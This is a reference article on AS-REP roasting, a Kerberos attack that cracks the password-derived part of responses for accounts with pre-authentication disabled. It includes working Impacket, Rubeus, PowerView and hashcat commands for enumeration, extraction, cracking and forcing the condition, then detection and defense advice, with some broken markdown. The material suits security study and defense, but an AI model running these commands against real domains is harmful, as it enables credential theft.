AS-REP Roasting

AS-REP roasting is the user-account analogue of kerberoasting: instead of cracking a service ticket, it cracks the AS-REP — the response the KDC returns at the very start of Kerberos authentication. MITRE T1558.004, Credential Access.¹

Why it works

Normally, Kerberos pre-authentication requires the client to encrypt a timestamp with the NT hash of its password inside the AS-REQ; the KDC only answers if it can decrypt it. When an account has “Do not require Kerberos preauthentication” set (DONT_REQUIRE_PREAUTH, userAccountControl bit 4194304), the KDC returns the AS-REP without verifying anything. A chunk of that AS-REP is encrypted with the user’s NT hash — so anyone, with no credentials at all, can request password-derived ciphertext for such an account and brute force it offline.²³⁴

This is the key difference from Kerberoasting:⁵

	Kerberoasting	AS-REP roasting
Artifact	TGS-REP (service ticket)	AS-REP
Requires domain creds?	Yes (any valid user)	No — anonymous
Vulnerable account config	Has an SPN	Pre-auth disabled
MITRE	T1558.003	T1558.004

Pre-auth-disabled accounts are rare in well-run domains but appear in legacy apps, service accounts misconfigured by vendors, and accounts provisioned by sloppy scripts.⁶

Enumeration — finding roastable accounts

No credentials needed for the roast itself, but identifying which accounts have pre-auth disabled is easiest with a foothold:

• PowerView (on-domain, needs a context):⁷

Get-DomainUser -PreauthNotRequired -Verbose

• Impacket GetNPUsers.py — with valid creds, enumerate; or point it at a user list and let it probe each anonymously:⁸

# Probe a list of candidate usernames without any credentials
GetNPUsers.py ${DOMAIN}/ -usersfile users.txt \
    -no-pass -dc-ip $DC_IP
 
# With creds: report all pre-auth-disabled accounts
GetNPUsers.py ${DOMAIN}/${USER}:${PASSWORD} -dc-ip $DC_IP

Extraction

Impacket (remote, anonymous)

Specify the target as ${DOMAIN}/ — leave the user part empty — and supply accounts via -usersfile, or a single known user directly:

GetNPUsers.py ${DOMAIN}/${TARGET_USER} -no-pass -dc-ip $DC_IP

Output is Hashcat-format $krb5asrep$23$....⁹¹⁰

Rubeus (Windows, on-domain)

Rubeus.exe asreproast
```^[[[raw/articles/github-ghostpack-rubeus.md]]]
 
Rubeus's AS-REP output omits the etype segment Hashcat expects — insert `23$` after
the leading `$krb5asrep$` (i.e. `$krb5asrep$` → `$krb5asrep$23$`) before cracking.[^11][^12]
 
## Cracking
 
| Hash type | Hashcat mode | John |
|---|---|---|
| Kerberos 5 AS-REP etype 23 (RC4) | **18200** | `--format=krb5asrep` |[^13]
 
```bash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

Turning the attack around (forcing the condition)

An attacker with write access to an account’s userAccountControl (GenericWrite / GenericAll over a user — findable via PowerView’s Invoke-ACLScanner or BloodHound) can flip on DONT_REQUIRE_PREAUTH (XOR bit 4194304), roast the account, then flip it back — converting an ACL edge into a credential:¹¹

Set-DomainObject -Identity $TARGET_USER \
    -XOR @{useraccountcontrol=4194304} -Verbose

Detection & defenses

• Event 4768 (TGT requested) with pre-auth type 0 and RC4 — especially for accounts that should never authenticate this way. A honey account with pre-auth deliberately disabled gives high-fidelity alerts.¹²
• Primary defense: don’t disable pre-auth. Audit regularly: Get-DomainUser -PreauthNotRequired or LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304).¹³¹⁴
• Strong passwords bound the damage when the flag must exist for legacy reasons.¹⁵
• Alert on unexpected userAccountControl modifications (Event 4738) — catches the force-and-roast variant.¹⁶

Related: kerberos, kerberoasting, golden-and-silver-ticket-attacks, impacket, rubeus, kerbrute, targeted-kerberoasting.

Sources

• MITRE ATT&CK T1558.004 — AS-REP Roasting
• harmj0y — Roasting AS-REPs (2017)
• Microsoft Learn — Kerberos authentication overview in Windows Server
• Impacket GetNPUsers.py — AS-REP roasting tool
• GhostPack Rubeus — asreproast
• Hashcat example hashes

Footnotes

1. MITRE ATT&CK T1558.004 — AS-REP Roasting ↩

2. MITRE ATT&CK T1558.004 — AS-REP Roasting ↩

3. harmj0y — Roasting AS-REPs (2017) ↩

4. Microsoft Learn — Kerberos authentication overview in Windows Server ↩

5. MITRE ATT&CK T1558.004 — AS-REP Roasting ↩

6. harmj0y — Roasting AS-REPs (2017) ↩

7. harmj0y — Roasting AS-REPs (2017) ↩

8. Impacket GetNPUsers.py — AS-REP roasting tool ↩

9. Impacket GetNPUsers.py — AS-REP roasting tool ↩

10. Hashcat example hashes ↩

11. harmj0y — Roasting AS-REPs (2017) ↩

12. MITRE ATT&CK T1558.004 — AS-REP Roasting ↩

13. harmj0y — Roasting AS-REPs (2017) ↩

14. Microsoft Learn — Kerberos authentication overview in Windows Server ↩

15. harmj0y — Roasting AS-REPs (2017) ↩

16. harmj0y — Roasting AS-REPs (2017) ↩